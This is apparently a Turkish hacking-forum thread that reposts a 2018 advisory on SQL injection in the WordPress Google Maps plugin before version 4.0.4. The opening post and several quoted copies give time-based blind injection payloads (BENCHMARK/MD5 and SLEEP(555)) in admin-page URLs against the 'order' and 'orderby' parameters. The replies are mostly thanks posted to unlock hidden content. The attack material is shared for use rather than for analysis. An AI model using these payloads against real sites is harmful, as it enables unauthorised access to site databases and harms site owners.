WordPress SQL İnjection GMaps

WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​

SQL injection

Güvenlik Açıklı Funksiyon : $wpdb->get_results()

Güvenlik Açıklı seçenek: $_GET['order']
SQL açıklı URL:
http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&orderby=location_address&order=asc

http://vulnerablesite.com/wp-admin/...e_location&orderby=location_address&order=asc

PROCEDURE ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242))))),42)

2.
SQL Seçeneği

# SQL injection
# Vulnerable Function: $wpdb->get_results()
# Vulnerable Variable: $_GET['orderby']
# Vulnerable URL:
http://vulnerablesite.com/wp-admin/...ation&order=asc&orderby=location_address AND (SELECT%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc
# Disclosure Timeline
# 2018/05/11 Vulnerabilities discovered
# 2018/05/16 Vendor contacted
# 2018/06/08 No response
# 2018/06/12 Advisory released to the public

 

bakalım yeni mi bu ?

 

bakalım yeni mi bu ?

Mayıs Haziran gibi çıkmış 2018

 

Şu Yeni Fixlenen AÇık ^^ Eline Sağlık..

 

Bakalım 360123123 kere hidelediğine göre güzel bişey

 

WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​

SQL injection

Güvenlik Açıklı Funksiyon : $wpdb->get_results()

Güvenlik Açıklı seçenek: $_GET['order']
SQL açıklı URL:

PROCEDURE ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242))))),42)

2.
SQL Seçeneği

# SQL injection
# Vulnerable Function: $wpdb->get_results()
# Vulnerable Variable: $_GET['orderby']
# Vulnerable URL:
(SELECT%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc
# Disclosure Timeline
# 2018/05/11 Vulnerabilities discovered
# 2018/05/16 Vendor contacted
# 2018/06/08 No response
# 2018/06/12 Advisory released to the public

.

 

Bakalım 360123123 kere hidelediğine göre güzel bişey

Bah

 

 

Bakalım bizde varmı o açıktan

 

Bakalım

 

WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​

SQL injection
[Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik]http://vulnerablesite.com/wp-admin/...e_location&orderby=location_address&order=asc
[Gizli içerik]
2.
SQL Seçeneği
[Gizli içerik][Gizli içerik][Gizli içerik]

başarılı

 

Çok merak ettim

 

+

 

güzel konu

 

Thx for sharing

 

eline sağlık

 

WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​

SQL injection
[Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik]http://vulnerablesite.com/wp-admin/...e_location&orderby=location_address&order=asc
[Gizli içerik]
2.
SQL Seçeneği
[Gizli içerik][Gizli içerik][Gizli içerik]

iyi

 

sagol dotum

 

Elerine sağlık